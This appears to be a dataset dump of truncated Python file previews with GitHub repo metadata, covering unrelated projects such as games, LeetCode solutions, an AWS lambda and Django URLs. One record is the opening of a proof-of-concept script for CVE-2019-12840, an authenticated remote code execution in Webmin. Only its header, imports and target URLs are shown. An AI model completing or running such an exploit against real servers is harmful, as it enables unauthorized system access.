test_mymath.py
from mymath import add, divide def test_add_integers(): assert add(5, 3) == 8 def test_add_integers_zero(): assert add(3, 0) == 3 def test_add_floats(): assert add(1.5, 2.5) == 4 def test_add_strings(): nose2.tools.assert_raises(AssertionError, add, "paul", "carol") def test_divide_integers_ev...
9c7dcae0c53801f8679a012b52ebd89f10648cb0
7cb44e7d4f260c1566088ba0e74c5eb84ab81bc1
/SpiderGame_twoplayer.py
4d1306b163109496b97d2761d6eb96be0502203b
[]
no_license
SkNuwanTissera/SpiderGame
157b98b1ac539559ad6be556d39cf3eef64705a3
7493b783115b934c7de547c7ee808b942a0a0209
refs/heads/master
2022-04-03T19:37:49.239433
2020-01-30T16:15:33
2020-01-30T16:15:33
235,297,493
0
0
null
null
null
null
UTF-8
Python
false
false
4,846
py
SpiderGame_twoplayer.py
from random import randint # need to show the progress of the spider through the game and add different players def replacer(index, character, array): array.pop(index) array.insert(index, character) return array def welcomeMessage(): print("\n--------------------------------------------\n") print(...
43e7c178c44db46af02013270d0b47840e51e58c
f25341181d3fe55d4f7fc9b258b17e845d8170ad
/src/encryption.py
24f8bfa0a98eaaf3657f2d9f7fbf4042dbeaa5a2
[]
no_license
AlexOugh/aws-services-encryption
2a5b11f1b6aed7aa628f84af61b9805ae307067f
f5b8bbdff2d73ec22f5a8074530a16d1819b2ac6
refs/heads/master
2021-01-11T18:59:56.867344
2017-01-18T00:37:10
2017-01-18T00:37:10
79,287,441
0
0
null
null
null
null
UTF-8
Python
false
false
4,940
py
encryption.py
import boto3 from base64 import b64encode, b64decode def lambda_handler(event, context): print("stack_name: " + event['stack_name']) # find stack template stack_name = event['stack_name'] stack_response = boto3.client('cloudformation').get_template( StackName=stack_name ) # find secr...
9a92b6f54f33d22915c705f9a701c8e8517de09d
b610fe0942f32a08b63a6098bcb3273c2f24db35
/chapter_1.py
372b7f574bf47c598da9da8776b608572a7d2aef
[]
no_license
thebooleanoperator/a_second_try
56f81c9de7297eed3b791afd678964615bc71e13
d2827f4b6404a783ed8765dca92eb3fec92c944d
refs/heads/master
2020-04-18T05:08:54.810760
2019-03-08T00:37:38
2019-03-08T00:37:38
167,266,953
0
0
null
null
null
null
UTF-8
Python
false
false
1,356
py
chapter_1.py
import turtle sven = turtle.Turtle() # ole = turtle.Turtle() #this makes a square of any size! import math # colors = ['blue', 'orange', 'yellow', 'purple', 'green'] # def any_square(turtle, size): # for i in range(4): # turtle.forward(size) # turtle.right(90) # def sqr_root_shape(turtle): # ...
a82cf5aea90faa5f665eeb5ef6be946729fd8394
7004b928e67593eaeb9fc9a1539f531e976eca23
/uva_170.py
676ba1e05b08127cfec67bf4331ad018384c249b
[]
no_license
chenhh/Uva
fe8742e4eeaaf639237b4114ed858c6d06186d58
f187c045f47c80a6cbba40326c71f71e14f6e1b4
refs/heads/master
2021-01-09T20:53:30.512889
2016-07-29T12:24:12
2016-07-29T12:24:12
57,173,016
3
1
null
null
null
null
UTF-8
Python
false
false
1,648
py
uva_170.py
# -*- coding: utf-8 -*- """ Authors: Hung-Hsin Chen <chenhh@par.cse.nsysu.edu.tw> License: GPL v2 status: AC difficulty: 1 https://uva.onlinejudge.org/external/1/170.pdf http://luckycat.kshs.kh.edu.tw/homework/q170.htm the input of cards are from pile K, Q, J, T, ... to 1, and from top to bottom. there are at least ...
4d7a955b0822c5404c547b8df617c0819a7da152
df94f543424f47f87bd6d546cca23d1c5a7b024c
/easy/easy1652.py
80f8dd1e23f0109bb8df9e06c7902188dd9b3f12
[]
no_license
wangpeibao/leetcode-python
c13cb63304e91dcd55ffacee541d9197cafd01ff
392a272a799decdd77c2410a89787ea8e1aa76d3
refs/heads/master
2023-01-31T05:09:34.850459
2020-12-04T03:25:21
2020-12-04T03:25:21
257,457,585
0
0
null
null
null
null
UTF-8
Python
false
false
2,461
py
easy1652.py
""" 1652. 拆炸弹 你有一个炸弹需要拆除,时间紧迫!你的情报员会给你一个长度为 n 的 循环 数组 code 以及一个密钥 k 。 为了获得正确的密码,你需要替换掉每一个数字。所有数字会 同时 被替换。 如果 k > 0 ,将第 i 个数字用 接下来 k 个数字之和替换。 如果 k < 0 ,将第 i 个数字用 之前 k 个数字之和替换。 如果 k == 0 ,将第 i 个数字用 0 替换。 由于 code 是循环的, code[n-1] 下一个元素是 code[0] ,且 code[0] 前一个元素是 code[n-1] 。 给你 循环 数组 code 和整数密钥 k ,请你返回解密后的结果来拆除炸弹! 示例 1: 输入...
926060336a234bf6785c0bb65fdfc823e0a3e617
f10656091e40f066ad82d95629558791960a6246
/spiral_print.py
0ff967c485f426e44cc889b547f05e309b2e0aa6
[]
no_license
jainamshah95/CodeEval
477e870fe4126eac57ee41489a51c5ccf5234606
fd0c044cf7c96a42641a53864f9cd4f6e5a4a339
refs/heads/master
2021-05-29T03:26:19.995006
2013-03-29T08:19:57
2013-03-29T08:19:57
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,343
py
spiral_print.py
''' Author: Sheldon Logan Spiral Printing Description: Write a program to print a 2D array (n x m) in spiral order (clockwise) Input sample: Your program should accept as its first argument a path to a filename.The input file contains several lines. Each line is one test case. Each line contains three items (semic...
033fc0ab7633788775f5278551ec6881e242f7b6
7354d82dd9f1e669e7488532c101e6b09d4c2340
/CVE-2019-12840.py
cb29322d16810e2d92e515dd1c790c1741a5a0e8
[]
no_license
WizzzStark/CVE-2019-12840.py
8591237d428379681fd441b8fbc79e72ae157de2
c8c7c7c73ca8a004b61ee2ea0c922ada16c2100d
refs/heads/main
2023-08-13T04:14:32.940479
2021-10-05T18:12:19
2021-10-05T18:12:19
413,929,777
0
1
null
null
null
null
UTF-8
Python
false
false
1,244
py
CVE-2019-12840.py
#!/usr/bin/python3 """ ##################################################### POC: CVE-2019-12840 Fake Shell in python3 (Authenticated RCE) ##################################################### """ import requests import urllib3 import html # Variables webmin_url = "https://127.0.0.1/session_login.cgi" package_ur...
11fc02abe84e6686f88add15009adcbfb3399213
6905356eaeba9d1c61f7ea5c1ab9cde8741d5d93
/v1/accounts/urls.py
f5eb20d15ec3e615b2543c751273ea4abd76644e
[ "MIT" ]
permissive
shahraizali/Validator
3dd393c5e680c40358b7628f10765f1f1a0621bf
c569b10f3fe7fb2003a9cc8cb0d28404d51cf10e
refs/heads/master
2022-12-02T23:31:41.412682
2020-07-26T01:05:50
2020-07-26T01:05:50
282,784,499
1
0
MIT
2020-07-27T03:25:12
2020-07-27T03:25:11
null
UTF-8
Python
false
false
477
py
urls.py
from django.urls import path from .views.account import AccountView from .views.account_balance import account_balance_view from .views.account_balance_lock import account_balance_lock_view urlpatterns = [ # Accounts path('accounts', AccountView.as_view()), # Account balance path('account_balance/<s...
bb62d4ef97a834b1ffe67602fe82f04b3261b661
db91e95d2c6172531cfdef52c06882159c6c23af
/intermediatepython/strings.py
f685d069874ba861311a1351effad01ff3059d3d
[]
no_license
ammieakash/college-projects
e5fc80cadc5a5264834a185f5895325814312dab
d1e78631b12f6afc1d62b140eb42d83350a5f65a
refs/heads/master
2020-04-02T04:01:08.198662
2018-05-27T12:03:05
2018-05-27T12:03:05
153,995,662
0
0
null
2018-10-21T10:19:32
2018-10-21T10:19:32
null
UTF-8
Python
false
false
552
py
strings.py
names = ['akash', 'kanika','mahesh','malti'] for name in names : statement = 'Hello there '+name print(statement) for name in names : statement = ' '.join(['Hello there',name]) print(statement) print(', '.join(names)) # double back-slash for window's nonsense. location_of_files = 'C:\\Us...
a0a88092bf03d8db3f7cc2077c0d1074da38c3ba
cb9fd5684edd2f5333327617a8f30ebd55207a0b
/Backend/WaitList.py
733737fbaadf9ea704c86008c797b5941e7020f1
[]
no_license
DPeng-UNSW/GraphAbility-OrganExchange
55765e08bea37e645063f0218cb975ed552513ce
8d3d80cbce42373b3bf803f61c736522eba358dc
refs/heads/master
2023-04-25T07:04:00.376789
2021-05-14T10:22:58
2021-05-14T10:22:58
359,349,546
0
0
null
null
null
null
UTF-8
Python
false
false
1,817
py
WaitList.py
import json from helper import file_check, random_recipient class WaitList: def __init__(self, name="temp"): self.name = name if name != "temp": if file_check(f"{name}_waitlist"): with open(f"{name}_waitlist.json", 'r') as Json_waitlist: data = json.l...
9b9a9054d6f7713564bd22f249e18647abc7164f
0363d5e7b695b6f248e9845a8ee08a8d0a926efb
/cloudprober/grpc_gcp_prober/versions.py
cad1818d3242b33e885309feb138f0608365c2a1
[ "Apache-2.0" ]
permissive
lauro-cesar/grpc-gcp-python
edee67e0e9937598b8e6414a0f0217232d7acbbd
bcad7ddf02340a210b50061e91aca04622234b46
refs/heads/master
2020-04-24T17:36:20.992058
2019-01-12T00:59:37
2019-01-12T00:59:37
172,153,499
1
0
null
2019-02-23T00:39:49
2019-02-23T00:39:49
null
UTF-8
Python
false
false
83
py
versions.py
"""This is a template file for holding version numbers.""" GRPC_VERSION = '1.11.0'
47ff439493c99fb093d81b1e4b6d514ee365981c
0063535b38f105ebf28bc1cc08f08a1e34a33443
/model/Spectrogram/main.py
b24c6e66da81d86e5abfb457de31c6890211e945
[]
no_license
j02004080/VoiceConversion
7c6d4695cc0ab511f0b975636fc09ad43175ec87
7b6876f8c0b3ceb1c06846e86c62b31589ba9096
refs/heads/master
2020-03-16T07:41:41.032387
2018-06-17T09:38:35
2018-06-17T09:38:35
132,581,436
1
0
null
null
null
null
UTF-8
Python
false
false
3,277
py
main.py
import tensorflow as tf from model_VAE import VAE from speakerReg import speakerReg from util import (nextbatch, pickOne) import scipy import numpy as np import time featureSize = 513 NumOfspeaker = 10 latentSize = 64 TrainDataPath = '../../vcc2016/spectrogram/Train/' TestDataPath = '../../vcc2016/spectrogram/Test/' ...
4c4a420ad4e5232107ae58bf190dc2d745cc32cc
cc2a68e01a2a6a267fe6d2a656d93ccb4c4bae2d
/DropdownMenuStringsGerman.py
6dd6ed11aa0f171e31f08de8ceefbe70305f59a8
[]
no_license
TauOmicronMu/Y13Computing
760c16b9d8e797c6d5a0e66c077a816a76a186dc
e41cd88da34bcb38385cd2b9cb60270c0abc3346
refs/heads/master
2021-01-22T11:37:03.045014
2016-01-10T23:35:51
2016-01-10T23:35:51
23,667,185
0
0
null
2014-09-19T20:31:52
2014-09-04T15:06:00
Python
UTF-8
Python
false
false
237
py
DropdownMenuStringsGerman.py
# -*- coding: utf-8 -*- #Dropdown Menus DROPDOWN_BACK_TEXT = u"Zurück" DROPDOWN_FILE_TEXT = u"Datei" DROPDOWN_HELP_TEXT = u"Hilfe" DROPDOWN_LOGOUT_TEXT = u"Abmelden" DROPDOWN_QUIT_TEXT = u"Verlassen" DROPDOWN_STATS_TEXT = u"Statistik"
4ffebece4f6b5419de2d62e305d9e629d1caae9f
79bf193eab1d24960c2e01fabe7358cc0e2ede69
/1990.py
7b115327398a18c7120930cc25f3c968125a4ac1
[]
no_license
dmswl0311/Codeup
9c63a42ccb0178d72d2b9c945ff5e1a61548739e
daf1dec2324d7b994486be35fcebc8485d588685
refs/heads/master
2023-06-22T08:22:15.135840
2021-07-18T13:33:09
2021-07-18T13:33:09
325,252,767
1
0
null
null
null
null
UTF-8
Python
false
false
73
py
1990.py
n = int(input()) if (n % 3 == 0): print(1) else: print(0)
676c5ffeb486b483396e4ddf89a19dccc20559eb
1149d92bc983a15ccb6088d360a236a9cf5bc353
/Fesianov_Ihor/week_2/myfunc.py
c42eac24eff7e79d8d07ec0aeb92994d987f3d83
[]
no_license
teodorklaus/PythonSamurai
0c452b505f5767fff081b10510bef940bef7bfd9
553924f3ff9c94af16152f7d74479e6398c1c112
refs/heads/master
2021-01-11T22:27:50.149459
2017-02-20T19:24:07
2017-02-20T19:24:07
78,965,712
0
1
null
2017-03-20T19:04:18
2017-01-14T20:47:26
Python
UTF-8
Python
false
false
496
py
myfunc.py
__author__ = 'Ihor' from hw_4_1 import list_min_max, input_list from hw_4_2 import arithmetic_mean from hw_4_3 import replace_max_min from hw_4_5 import gererate_random_list, counter from hw_4_6 import bigger_lists_half from hw_4_7 import sum_list from hw_4_8 import generate_specific_random_list from hw_4_9 import cou...
c82ca600b6439e7ef487d13e65ccdb301ac73e09
292c14ebaf5d87714be61271402dfedfc790d92b
/lesson02/home_work/hw02_hard.py
4eba462fa855ba82f6b18f312be432b2de452dfd
[]
no_license
brass-mf/Python_lessons_basic
e6afe17cfa487c2199f065363c53dd769a857c1d
8594bb23986982a52b07306b301906c48270d944
refs/heads/master
2020-07-06T01:00:42.059307
2019-09-09T06:11:52
2019-09-09T06:11:52
202,839,506
0
0
null
2019-08-17T05:25:59
2019-08-17T05:25:59
null
UTF-8
Python
false
false
3,522
py
hw02_hard.py
__author__ = 'Афонин Сергей Сергеевич' # Задание-1: уравнение прямой вида y = kx + b задано в виде строки. # Определить координату y точки с заданной координатой x. equation = 'y = -12x + 11111140.2121' x = 2.5 # вычислите и выведите y list_equation = equation.split() b = float(list_equation[4]) k = float(list_equat...
1e0939e1f6b5ee36b325f274ebdd648ef919ccb0
8ace9fe2bc738280b40c2f4e6bce628536ddffba
/cripy/protocol/deviceorientation.py
532a0e88e4f62ca63f1c273bfde58a30a3a7c4a3
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
N0taN3rd/chrome-remote-interface-py
faf100662d8ea569dfd320adcf4d8f63bab8e5b3
49a77349fc5712508e5071d69dfcc9e94f36bfe8
refs/heads/master
2021-06-27T07:15:11.764207
2020-10-31T19:41:48
2020-10-31T19:41:48
135,003,214
5
4
Apache-2.0
2020-10-31T19:41:49
2018-05-27T00:09:23
Python
UTF-8
Python
false
false
1,826
py
deviceorientation.py
"""This is an auto-generated file. Modify at your own risk""" from typing import Awaitable, Any, Dict, List, Optional, Union, TYPE_CHECKING if TYPE_CHECKING: from cripy import ConnectionType, SessionType __all__ = ["DeviceOrientation"] class DeviceOrientation: """ Status: Experimental See `htt...
8a04a7ec0406e3a494f65061ba2cf6dbea995265
7875c1d425df1adfb9382a1b4ec428eb58407a3d
/300-post-model-analyses/role_classification/generate_train_test.py
b5906a035b1587835c6cb963bb6200e44f198815
[]
no_license
clarkest/ibm-topic-models
114e6f7b3501c6d2cd8885c53f18b72bf91bfd66
7305fc2109a8157ae9e18c34703354f211c2effb
refs/heads/master
2021-01-17T00:33:31.777805
2018-06-19T15:02:48
2018-06-19T15:02:48
39,034,303
1
0
null
null
null
null
UTF-8
Python
false
false
632
py
generate_train_test.py
import os, random os.chdir("/Users/clarkbernier/Dropbox/IBM Local/ibm-topic-model/300-post-model-analyses/role_classification") with open('biz_units_jobs.tsv','r') as tsv, \ open('biz_units_jobs.train','w') as train, \ open('biz_units_jobs.test','w') as test: for line in tsv: # replace some of the crap tit...
1054c0f9607c29f0d62e88b889f0977114eb623f
2413f484ce6ca5d1f0a6bbab587282cffe493327
/fich05/test.py
446c653a1cf937819c3b16c6071ccc4ea97b1380
[]
no_license
TsundereGamer/AED
26644cd60fc4456377203d3f15224f20deb90f35
e31b878a896e1441061b1747b431b545f5ec7d33
refs/heads/master
2020-05-07T18:06:00.177610
2019-07-08T20:45:20
2019-07-08T20:45:20
180,754,268
0
0
null
null
null
null
UTF-8
Python
false
false
261
py
test.py
from fich05.linkedList import LinkedList my_list = LinkedList() my_list.add(17) my_list.add(93) my_list.add(26) my_list.add(54) my_list.add(17) my_list.remove(5) my_list.remove(17) print("A minha lista: ", my_list) print("Tamanho da lista: ", my_list.size())
ac5c74a6159e4a21b7f7d27bda073e92518c01a9
dbe03f5ff11ccb28bf19eef7a374042539b34305
/chkcsvr.py
d50cce89edc854c68dd818be2c319483e1e55fc1
[]
no_license
jiangnansam/CserverToolsSuite
f81924be365c02e91f145e29a8e44544cd852208
5ff8e9a8c87acbbddcb327d25ff33f5359a59245
refs/heads/master
2021-01-01T15:40:18.762785
2013-07-11T06:22:28
2013-07-11T06:22:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,679
py
chkcsvr.py
''' Created on 2012-9-10 @author: Attis Wong ''' import os ''' How to run the script: run 'python chkcsvr.py' in command window. How to add check item for check: 1)new a CheckItem with desc, ref, checker, value(optional) parameter. 2)choose a checker implementation, if not exist just implement yourself. ...
a112a855a051585cb2f25d89b95ce0596050653f
c6c87b3443d4511d653daf2418a26af8f4a6b2ae
/HelpMeTrack/Background/GetIssueThread.py
fd4c4f194de22532cc8a70846ee978fe0492f79e
[]
no_license
mohitt/redmine-timetracker
9d4d63ad32ede82540c6a23e424f3bef1ab1df5d
e0f2959d993bc60461534051126e5bc123cb158f
refs/heads/master
2021-06-22T15:48:23.999413
2016-02-15T14:01:57
2016-02-15T14:01:57
null
0
0
null
null
null
null
UTF-8
Python
false
false
464
py
GetIssueThread.py
from PySide import QtCore class GetIssueThread(QtCore.QThread): issueFound = QtCore.Signal(list) def __init__(self, redmineClient, issueId, parent=None): super(GetIssueThread, self).__init__(parent) self.exiting = False self.redmineClient = redmineClient self.issueId = issueId...
a9ff15bd23e097a7237a1bee62f940a4153a7fc2
d046f103973681dcb895d5ea60ff4c5090ff2e24
/Submission/visual_rama.py
14e5367e67b7c332d5909b09f8730f2a25c50923
[]
no_license
BobbyPhysics/final-rendezvous-with-ramageddon
6d1dd66686217436b3002427646ff17cf4733930
58e23b40c3d058431304337c9a81351e87366843
refs/heads/master
2020-05-29T12:27:37.075219
2016-05-04T18:08:02
2016-05-04T18:08:02
58,096,680
2
0
null
2016-05-05T01:58:27
2016-05-05T01:58:27
null
UTF-8
Python
false
false
1,801
py
visual_rama.py
import getcoordinates import rama from visual import * import numpy as np # based on getcoordinates tmax = 1 #units of years dt = 0.001 #units of years t = np.linspace(0, tmax, int(tmax/dt)) r, v = getcoordinates.get_perifocal() er, ev = getcoordinates.get_heliocentric(r, v) rama_r =[[-2.0002,1.99998,.19994]] rama_v...
391bc63355a64fe226c0559f59b9a8a2d546cdbc
daf03dfc808485b835d90f214001f705087a785b
/linter.py
da90e5d2cd8269f5eba5d33c04f9f74a1abb65b9
[ "MIT" ]
permissive
SublimeLinter/SublimeLinter-govet
58f6fc501c54d3208010c101e7f907b9b64ecbeb
0a0e56ae171fffd6e851757dea264466048db45c
refs/heads/master
2021-10-19T08:45:49.765263
2019-02-19T18:43:23
2019-02-19T18:43:23
16,057,982
6
6
MIT
2019-02-19T18:43:25
2014-01-20T01:07:05
Python
UTF-8
Python
false
false
846
py
linter.py
from os import path from SublimeLinter.lint import Linter, util class Govet(Linter): cmd = ('go', 'vet', '${file_path}') regex = r'(?P<file_path>^.+?):(?P<line>\d+):((?P<col>\d+):)?\s+(?P<message>(.|\n\t)+)' tempfile_suffix = '-' multiline = True error_stream = util.STREAM_STDERR defaults = ...
4dc10a3bc397ce7ed0c25acbf334ad5e4d6e6168
8ec32ffe90e29ba8eadd213ef29c7288e675522f
/smfishHmrf/visualize.py
51a3cfab71dab3fdadbb118d98506f4302eb2b31
[]
no_license
haotianteng/smfishhmrf-r
194d13a45c0856a593a8e740c2cbb8fc89006260
95444340c9d8b3aa8c938b748e16ce35d697cb37
refs/heads/master
2022-12-17T02:00:24.792254
2020-09-23T08:23:05
2020-09-23T08:23:05
297,900,232
0
0
null
2020-09-23T08:15:00
2020-09-23T08:14:59
null
UTF-8
Python
false
false
10,610
py
visualize.py
import matplotlib as mpl import matplotlib.pyplot as plt import scipy import scipy.stats import sys import re import os import numpy as np import math import pandas as pd import seaborn as sns from operator import itemgetter from scipy.spatial.distance import squareform, pdist from scipy.stats import percentileofscore ...
bcaf0048e5c7d9f992aa434f52861e6effb7a356
ada8cddcfe28922af8a71f7cdacdb5b0a9a8c3d2
/SQL_script/data_operate.py
518d50e537ef499373cb28e47d44232ad4529b1d
[]
no_license
0xqq/OfficerResume_RelationshipAlgorithm
3ef48adeb94156b6500d56dafd16d2dcbb75f8cd
488a6144b22d02b183ae431c029b87476b0d3547
refs/heads/master
2020-05-22T15:38:54.564700
2018-04-17T01:22:31
2018-04-17T01:22:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,963
py
data_operate.py
import time from SQL_script.officer_process import Con_MySQL, Con_PostgreSQL, Con_Neo4j def time_now(type_int=0): """ 函数功能:将当前时间调整为特定格式。 时间格式统一为‘1995-4-16’。 :param type_int: 时间类型,0:'1995-4-16',1:'Sun Apr 16 6:6:6 1995' :return: 请求的格式化时间 """ if type_int == 0: return str(time.localt...
fbf4fbcc382ed3583df1bf495f6880bb2a5073cb
17e99d00df095fea527a2b17b2cd96efc9edd8b0
/train_ivp.py
7ea0a69c145ed38e933fac2695d5d6860c741584
[ "Apache-2.0" ]
permissive
michellesima/transformers
8de66241a8e007acd0e4f2b7a67a4071fb4935a8
327b32277d882e13b104dd8502a83a8668ea84e9
refs/heads/master
2020-08-28T19:49:20.862418
2020-04-11T04:34:42
2020-04-11T04:34:42
217,804,028
1
0
Apache-2.0
2019-10-27T04:17:50
2019-10-27T04:17:49
null
UTF-8
Python
false
false
2,081
py
train_ivp.py
import torch from transformers import * import pandas as pd from utils import * from utils_ivp import * from torch.utils import data from torch.nn import CrossEntropyLoss import os from torchsummary import summary import torch.optim as optim import sys random_seed = 7 max_sen_len = 64 batchsize = 4 numepoch = 1 def p...
1d1780f87a41b14fb33500dc5423b0485345e5ec
713bf45aedeec3492b75d39f440bfb150aa88a7f
/app/SampleEnum.py
3059a7b86ceee84f0f02a306954c30644d407550
[]
no_license
SampleUser0001/Enum_inPython
8a4fe4032efbf0c94ecf8230befbdb9903ac3059
f52f16cf74cb50acdaeb0831ef8092a5888c1a71
refs/heads/main
2023-06-15T23:59:51.614164
2021-07-04T04:12:14
2021-07-04T04:12:14
366,052,291
0
0
null
null
null
null
UTF-8
Python
false
false
561
py
SampleEnum.py
# -*- coding: utf-8 -*- from enum import Enum class SampleEnum(Enum): HOGE = ("HOGE",{ "key":"hoge", "hoge":"hogehoge" }) PIYO = ("PIYO",{ "key":"piyo", "piyo":"piyopiyo" }) def __init__(self, id, keys): self.id = id self.keys = keys # 変数名にvalueは使えない。 def getId(self): ...
5d8ea4f57951c943bc3d21ce454fd3258d1a5619
973dcc4a17c3a34f72c1991967fedd3be7c7e0d6
/new_user/__init__.py
32c45b6fe36bcb780e72e060bb8930cade157c0d
[]
no_license
vlad13zp/user_model
fa2c05a883001f71827cd03b8277d1726b891c89
770f018d4129b3ee27ebccd103adbc1ffc07190e
refs/heads/master
2021-01-19T04:55:51.544539
2015-06-08T05:52:02
2015-06-08T05:52:02
36,970,944
0
0
null
null
null
null
UTF-8
Python
false
false
51
py
__init__.py
default_app_config = 'new_user.apps.NewUserConfig'
aa3178a32fc13cfe0f5aa52873ba8023da291a5e
6ea7158f4985f47528d86a456fd2928aecfe009b
/ptlflow/data/datasets.py
6d36fbc19837ac5aa61b0a3c66fa5651b2fb204f
[ "Apache-2.0", "CC-BY-NC-SA-4.0" ]
permissive
hmorimitsu/ptlflow
e318f23ac93eb115e249be212c7353ed51b1396f
d6582a0fd386517fdefbe2c347cef53150b5b1da
refs/heads/main
2023-05-14T07:04:29.196743
2023-05-06T08:36:33
2023-05-06T08:36:33
375,416,785
140
14
Apache-2.0
2023-05-06T08:36:34
2021-06-09T16:12:33
Python
UTF-8
Python
false
false
52,632
py
datasets.py
"""Handle common datasets used in optical flow estimation.""" # ============================================================================= # Copyright 2021 Henrique Morimitsu # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You ...
20c6a86ec3620be8ebf2d955be60ba0a50b29189
28a462a28f443c285ca5efec181ebe36b147c167
/tests/compile/basic/recent/ToBigInt64.spec
dbf1c4a70aed095c4c5f11bc06be202042d87374
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
kaist-plrg/jstar
63e71f9156860dc21cccc33a9f6c638dfee448ea
1282919127ea18a7e40c7a55e63a1ddaaf7d9db4
refs/heads/main
2022-07-22T08:12:34.947712
2022-02-27T04:19:33
2022-02-27T11:06:14
384,045,526
6
4
NOASSERTION
2022-02-27T11:05:26
2021-07-08T07:53:21
Python
UTF-8
Python
false
false
226
spec
ToBigInt64.spec
1. Let _n_ be ? ToBigInt(_argument_). 1. Let _int64bit_ be ℝ(_n_) modulo 2<sup>64</sup>. 1. If _int64bit_ ≥ 2<sup>63</sup>, return ℤ(_int64bit_ - 2<sup>64</sup>); otherwise return ℤ(_int64bit_).
dfde332b7bea1d00c745ac91f324033ee5c05f6a
20775e72946453964380a8a306b6d854e46acf65
/countArrangement.py
ec361052c0d44b4c809c86673df0402f4dc01604
[]
no_license
candyer/leetcode
c3a0d710854f3a845c14b0501ef91041d19b2fd0
35bb20951ee746bae6a36067ad0b0edbceb3aff4
refs/heads/master
2022-05-19T14:39:14.698905
2022-03-13T22:40:59
2022-03-13T22:40:59
56,853,612
2
0
null
null
null
null
UTF-8
Python
false
false
1,769
py
countArrangement.py
# https://leetcode.com/problems/beautiful-arrangement/description/ # 526. Beautiful Arrangement # Suppose you have N integers from 1 to N. We define a beautiful arrangement as an array that is constructed # by these N numbers successfully if one of the following is true for the ith position (1 <= i <= N) in this arr...
881ffaf37659428c9ebf848c3339e7924f521dc2
7ac5d85f4f435485250aeec0626c09894203a181
/shufflealgos/shuffstrategy/shuffleStrategy.py
c9eeebd67080e3b1c3b7476cc7d6713b5a9f8a83
[ "MIT" ]
permissive
Charl86/kb-image-shuffler
ceaf9e921e571021df0db4fd9da577517591a276
bed42468f6889f358bd73fed6c7b4451362714da
refs/heads/main
2023-07-18T17:02:20.910216
2021-09-09T12:59:53
2021-09-09T12:59:53
373,650,873
0
0
null
null
null
null
UTF-8
Python
false
false
4,699
py
shuffleStrategy.py
"""Module that contains the implementations of the Strategy pattern. Module that contains the abstraction and implementation of the Strategy pattern centered around shuffling algorithms. Implementations --------------- KeyBasedShuffleStrategy NoShuffleStrategy """ from shufflealgos import abc, TYPE_CHECKING from shu...
8447bbb82f17261c34f7a58ea0ccde31983b9e6e
6f6f6c1f554900e613f1e8559a4c2afa5101ecee
/client/local.py
4fdab1c73bb9e789c0c676406b5dc092351a5c30
[]
no_license
kcrossan/mogbar3000
8e945f09d8e491f563c7ce0493d72a8f9732d0c1
2971aafc5cec6133e13e1997071d9c35b4bfd49c
refs/heads/master
2020-03-30T13:39:28.617110
2012-09-09T08:08:13
2012-09-09T08:08:13
3,096,099
0
0
null
null
null
null
UTF-8
Python
false
false
74
py
local.py
class Track(object): pass class Client(object): def __init__(self):
9abf639ed11cd980d009cd803251176e4a2f3092
673ceb0808969fea20306e86418c881c0e6894f1
/HrSurvey/migrations/0006_auto_20190603_1821.py
b534735426f8c5926afb8571de0ec86fc5b09011
[]
no_license
harsh8999/HR-Survey-API
62be54b2f635589e599d069653ccba479fdc229f
e5d575624aa376b1a8fa1aac359292be2d441eeb
refs/heads/master
2020-05-30T11:31:48.425894
2019-06-20T15:04:35
2019-06-20T15:04:35
189,704,833
1
0
null
null
null
null
UTF-8
Python
false
false
962
py
0006_auto_20190603_1821.py
# Generated by Django 2.2.1 on 2019-06-03 12:51 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('HrSurvey', '0005_auto_20190530_1116'), ] operations = [ migrations.AlterField( model_name='opti...
f0faa967dde882bbcd0fe63fe9eb4701c4c72e44
49763792e05dbe70f96e349f2065914b54c3cf92
/GameOfLife/copiar.py
2a9660031346c7b2293a588f3eb9b8c25f3dddb7
[]
no_license
tonabarrera/SistemasComplejos
0ef5d9bcfb8f9e2e8bb3618c15309be6345bab99
3e7748bf8715a11ef57a185283b72ac94f0a5f4c
refs/heads/master
2020-04-01T22:21:56.428782
2018-10-16T03:37:20
2018-10-16T03:37:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
282
py
copiar.py
import copy # array=[[0] * 3 for i in range(3)] # for i in range(3): # for j in range(3): # array[i][j]=i*j # print(array[i][j]) # array2=copy.deepcopy(array) # for i in range(3): # for j in range(3): # array2[i][j]=10 # print(array[i][j]) for i in range(3,4): print(i)
fc7337e49fcd8f3d4f8888f5656a1320355bc24a
222e4fecf57fc9a329ebaefdf5d9e4e4144471f7
/graffitiApp/admin.py
523e576b7943fca650d7a6fdc66834eac486a4f4
[]
no_license
juliarobles/graffitisWeb
8eca7f55dd9bb6a1b24defeab48302bca8dea6fe
cce78b4026d3a00181589929d3cf9ca45ece4b26
refs/heads/nube
2023-02-27T16:07:34.196163
2021-02-02T18:20:14
2021-02-02T18:20:14
314,350,811
5
0
null
2021-01-27T23:53:51
2020-11-19T19:33:54
Python
UTF-8
Python
false
false
195
py
admin.py
from django_mongoengine import mongo_admin as admin from .models import Publicacion, Usuario, Graffiti # Register your models here. admin.site.register(Publicacion) admin.site.register(Usuario)
0fb3728859e2cdb571d75c7703c87a1a59290a43
1f41b828fb652795482cdeaac1a877e2f19c252a
/maya_menus/_MAINMENU_PMC_Project/02.WonderBalls/08.Paper Rig/01.Bind Mesh Controller( horizontalAndVerticalAndTarget ).py
b49b551a01a2489cbec30313de0e819c1c4ebb6d
[]
no_license
jonntd/mayadev-1
e315efe582ea433dcf18d7f1e900920f5590b293
f76aeecb592df766d05a4e10fa2c2496f0310ca4
refs/heads/master
2021-05-02T07:16:17.941007
2018-02-05T03:55:12
2018-02-05T03:55:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,949
py
01.Bind Mesh Controller( horizontalAndVerticalAndTarget ).py
from sgMaya import sgCmds import pymel.core def getDigitNumFromName( name ): firstLocalName = name.split( '|' )[-1] digitIndices = [] for i in range( len( firstLocalName ) ): if firstLocalName[i].isdigit(): if len( digitIndices ): if i == digitIndices[-1]+1: ...
a0045b93ea18f63073859e60805e78c38364417a
8382ea785f89ca8812f1737b1f36020ba31a067d
/src/rl_agents/jirp/jirp.py
ea1e16c1e244fd02962a7cca84fb0449e866cefe
[]
no_license
daniel-neider/stochastic-reward-machines
9018fe6aace6986e07add97562a7aa97d185c278
